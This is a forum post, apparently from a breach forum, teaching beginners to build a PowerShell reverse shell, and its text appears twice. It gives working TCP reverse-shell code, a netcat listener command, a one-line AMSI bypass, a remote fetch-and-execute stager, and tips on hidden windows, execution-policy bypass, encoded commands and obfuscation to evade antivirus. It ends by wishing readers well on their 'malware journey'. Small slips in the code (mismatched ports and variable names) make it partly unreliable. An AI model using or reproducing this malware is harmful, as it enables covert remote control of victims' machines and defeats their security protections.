05-02-2024, 11:37 PM
In this tutorial I will be describing how a reverse shell in Powershell works, hopefully after reading you will have a full understanding and be able to create your own code for your own operation. It will be very simple so it can be modified, and for undestanding purposes.
To begin you will need a listener to catch the shell. Once the Powershell script is executed on the target computer it will reach out to the specified server to attempt to establish a TCP connection. Once this connection has been established command and output can be passed between the listener and the Powershell client.
If the listener stops listening and the client does not continuously attempt to re-establish connection then the shell will hang. So why reverse shell, why not regular shell. There are a few reasons, the main reasons are that on most Windows PC (assuming this is the target) opening a port (requirement for bind shell) requires elevated privileges. Additionally, firewalls scrutinize incoming requests much more than outgoing. See diagram below
Now that we understand the basic concept we will implement it. This shell will be heavily based on revshells, I highly recommend the website for learning purposes or if you need to generate a quick shell. To clarify: I am not writing anything new, I am merely helping beginners understand how the code functions so that they can write their own.
This code will work on any Powershell version which supports .NET, as we will be using .NET classes to create the connection.
To begin the main payload we will start by creating a TCP client object. We will use lhost 0.0.0.0 and lport 1337 for this example.
the variable is referencing an instance of the object. We will use this object and it's methods to communicate with the server, which we initialized as 0.0.0.0:1337.
The next line is
This line obtains the TCP stream. The method will return a reference to an instance of the
NetworkStream class. Simply put, other methods will let us read and write to this stream as a form of 2 way communications with the server.
This line create an instance of the class. is an implementation of which basically provides methods to read and write to streams. This is why it is initialized with
For the next step we will need to create a function to write to the stream. You can do this by creating a function or you could just repeat the same process twice. I prefer the second option but the first works just as well so I will write an example of that
For beginners this part may not make much sense.
The first line
In this line the $buffer variable is declared with the explicit type of byte array in the script scope. The next line is a little complicated but essentially it returns an empty buffer from
0 -> the default Net.TCPClient receive bufffer size which should be 8192 bytes. The next 2 lines are very simple.
We use the $writer object's Write() method to write to the steam. We write the input, plus "PS" followed by (pwd).path and a ">". The input will actually be our command output, so what the listener will catch is going to look something like
command output
PS C:\path\workingdirectory>
Which is almost exactly how an actual interactive Powershell session would look. The pwd command is an alias which returns a dictionary of the path to working directory, or the current directory. The .path pulls the "path" string from the dictionary.
The final command
flushes the stream, which sends the output back to the server, the listener.
We finish off by using the function to write The username and "callback" to the listener, so the operator (you) will know the shell has been caught.
In the next step we will loop infinitely to wait for commands from the listener.
This reads from the stream using
Based on Microsoft documentation this checks if the stream has available data then reads it into the first argument byte array ($buffer), with an offset of 0 and for $buffer.Length bytes. This ensures it only reads as many bytes as are available for storage in the receive buffer. If this amount is greater than 0 it continues, if not it loops back and waits.
This uses the GetString method from UTF8 to encode the buffer into a string for $bytesread -1 bytes and store it in the $cmd string.
This creates a scriptblock object from the $command string. We can now use invoke-command instead of invoke-expression for stability and to help avoid detection.
This calls the icm alias for invoke-command cmdlet on the $command scriptblock. The output is piped into the out-string cmdlet which ensures that any output is outputted as a string. If an error occurs the try statement catches it and also pipes it into a string. This is saved in the $output string.
We then
to write the output to the listener.
We close off the while loop with a curly brace and close the StreamWriter object with
.
This is the basic payload. We will wrap with payload and place it inside a loop
This will infinitely loop so that when the listener goes down you can start listening again and the shell will reconnect.
On the listener side we can simply use netcat
To listen for a callback.
Issues with the shell
There are a few basic things to know.
1. Commands that start interactive sessions with executables like cmd.exe will cause the shell to hang indefinitely.
2. This code is very basic and VERY used. It will be caught by AV
The first one can't be fixes unless we write a much more complicated shell. For the second one there is a few things you can try.
- Obfuscation
- AMSI bypass.
When running Powershell scripts every command is passed to some methods in AMSI.dll. AMSI is the AntiMalware Scan Interface.
Without getting into too much detail there are various ways to bypass AMSI using Powershell.
DISCLAIMER: MANY OF THESE METHODS WILL NOT WORK AGAINST MODERN EDR SOLUTIONS OR NGAV, THIS IS INTENDED ONLY FOR HOME ANTIVIRUS. BYPASSING ANTIVIRUS ON A HIGHER LEVEL IS A TOPIC WHICH REQUIRES IT'S OWN THREAD
A simple example is Matt Graeber's reflective AMSI init fail. This is a one line AMSI bypass.
This bypass will NOT work out of the box because it is detected by AMSI as a malicious string itself.
For more AMSI bypasses view this link.
To get this to work in a simple way (beginner friendly) which should work against AV like Windows Defender we will need a 2 step payload.
Because of Powershell's nature it is possible to change the signature of commands/lines of code like the bypass above using obfuscation techniques.
There are many techniques, there are even tools to automate some of these techniques. Once you have obfuscated the bypass it should execute without triggering AMSI, any commands executed after that will bypass AMSI.
If using this method make sure that the malicious script is loaded remotely, loading the entire script at once will cause AMSI to analyze the lines after the bypass before executing the bypass, which will be caught. You can remotely load scripts from a server using a command line
You should also make sure to stealthily execute your initial stage.
When calling powershell use the /w 1 /ep bypass flag to set the application windowstyle to 1 (invisible) and the script execution policy to bypass.
Finally you can call the entire script wrapped in quotations using the /c or /command flag, or /e or /encodedCommand followed by a base64 encoded version of the script.
I hope this helped some beginners and good luck on your extensive malware journey!
To begin you will need a listener to catch the shell. Once the Powershell script is executed on the target computer it will reach out to the specified server to attempt to establish a TCP connection. Once this connection has been established command and output can be passed between the listener and the Powershell client.
If the listener stops listening and the client does not continuously attempt to re-establish connection then the shell will hang. So why reverse shell, why not regular shell. There are a few reasons, the main reasons are that on most Windows PC (assuming this is the target) opening a port (requirement for bind shell) requires elevated privileges. Additionally, firewalls scrutinize incoming requests much more than outgoing. See diagram below
![[Image: ?u=https%3A%2F%2Fassets.website-files.co...ipo=images]](https://external-content.duckduckgo.com/iu/?u=https://external-content.duckduckgo.com/iu/?u=https%3A%2F%2Fassets.website-files.com%2F5ff66329429d880392f6cba2%2F626822d9beb1b531fd597ae2_Reverse%2520Shell%2520in%2520action.jpg&f=1&nofb=1&ipt=abd8702771f7f28d6fcb528aed80c7d2f006010b8ac7322ed7cdbae61cd7646a&ipo=images)
Now that we understand the basic concept we will implement it. This shell will be heavily based on revshells, I highly recommend the website for learning purposes or if you need to generate a quick shell. To clarify: I am not writing anything new, I am merely helping beginners understand how the code functions so that they can write their own.
This code will work on any Powershell version which supports .NET, as we will be using .NET classes to create the connection.
To begin the main payload we will start by creating a TCP client object. We will use lhost 0.0.0.0 and lport 1337 for this example.
$client = New-Object Net.Sockets.TCPClient('0.0.0.0', 1137);
the
$client
TCPClient
The next line is
$stream = $client.GetStream();
System.Net.TCPClient.GetStream();
NetworkStream class. Simply put, other methods will let us read and write to this stream as a form of 2 way communications with the server.
$writer= New-Object IO.StreamWriter($stream);
This line create an instance of the
StreamWriter
StreamWriter
TextWriter
$stream
For the next step we will need to create a function to write to the stream. You can do this by creating a function or you could just repeat the same process twice. I prefer the second option but the first works just as well so I will write an example of that
function writeStream ($input) {
[byte[]]$script:buffer = 0..$client.ReceiveBufferSize | % {0};
$writer.Write($input+ "PS " + (pwd).path + "> ");
$writer.Flush()
};
writeStream "$env:username callback"
The first line
[byte[]]$script:buffer = 0..$client.ReceiveBufferSize | % {0};
0 -> the default Net.TCPClient receive bufffer size which should be 8192 bytes. The next 2 lines are very simple.
We use the $writer object's Write() method to write to the steam. We write the input, plus "PS" followed by (pwd).path and a ">". The input will actually be our command output, so what the listener will catch is going to look something like
command output
PS C:\path\workingdirectory>
Which is almost exactly how an actual interactive Powershell session would look. The pwd command is an alias which returns a dictionary of the path to working directory, or the current directory. The .path pulls the "path" string from the dictionary.
The final command
$writer.Flush()
We finish off by using the function to write The username and "callback" to the listener, so the operator (you) will know the shell has been caught.
In the next step we will loop infinitely to wait for commands from the listener.
while(($BytesRead = $stream.Read($buffer, 0, $buffer.Length)) -gt 0) {
stream.Read()
$cmd = ([text.encoding]::UTF8).GetString($buffer, 0, $BytesRead - 1);
$scriptblock = [scriptblock]::create($command)
$Output = try {icm -scriptblock $command 2>&1 | Out-String} catch {$_ | Out-String}
We then
writeStream($output)
We close off the while loop with a curly brace and close the StreamWriter object with
}$writer.Close();
This is the basic payload. We will wrap with payload and place it inside a loop
do {
start-sleep 2 #sleep so that the shell does not spam the listener when it is offline
#payload here
} while ($true)
On the listener side we can simply use netcat
nc -lvnp 1137
Issues with the shell
There are a few basic things to know.
1. Commands that start interactive sessions with executables like cmd.exe will cause the shell to hang indefinitely.
2. This code is very basic and VERY used. It will be caught by AV
The first one can't be fixes unless we write a much more complicated shell. For the second one there is a few things you can try.
- Obfuscation
- AMSI bypass.
When running Powershell scripts every command is passed to some methods in AMSI.dll. AMSI is the AntiMalware Scan Interface.
Without getting into too much detail there are various ways to bypass AMSI using Powershell.
DISCLAIMER: MANY OF THESE METHODS WILL NOT WORK AGAINST MODERN EDR SOLUTIONS OR NGAV, THIS IS INTENDED ONLY FOR HOME ANTIVIRUS. BYPASSING ANTIVIRUS ON A HIGHER LEVEL IS A TOPIC WHICH REQUIRES IT'S OWN THREAD
A simple example is Matt Graeber's reflective AMSI init fail. This is a one line AMSI bypass.
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
This bypass will NOT work out of the box because it is detected by AMSI as a malicious string itself.
For more AMSI bypasses view this link.
To get this to work in a simple way (beginner friendly) which should work against AV like Windows Defender we will need a 2 step payload.
Because of Powershell's nature it is possible to change the signature of commands/lines of code like the bypass above using obfuscation techniques.
There are many techniques, there are even tools to automate some of these techniques. Once you have obfuscated the bypass it should execute without triggering AMSI, any commands executed after that will bypass AMSI.
If using this method make sure that the malicious script is loaded remotely, loading the entire script at once will cause AMSI to analyze the lines after the bypass before executing the bypass, which will be caught. You can remotely load scripts from a server using a command line
iex(iwr domain[.]tld/payload.ps1 -useBasicParsing);
When calling powershell use the /w 1 /ep bypass flag to set the application windowstyle to 1 (invisible) and the script execution policy to bypass.
Finally you can call the entire script wrapped in quotations using the /c or /command flag, or /e or /encodedCommand followed by a base64 encoded version of the script.
I hope this helped some beginners and good luck on your extensive malware journey!
This forum account is currently banned. Ban Length: (Permanent)
Ban Reason: Self-Ban | Retired |http://breached26tezcofqla4adzyn22notfqwcac7gpbrleg4usehljwkgqd.onion/Forum-Ban-Appeals if you wish to be unbanned in the future.
Ban Reason: Self-Ban | Retired |http://breached26tezcofqla4adzyn22notfqwcac7gpbrleg4usehljwkgqd.onion/Forum-Ban-Appeals if you wish to be unbanned in the future.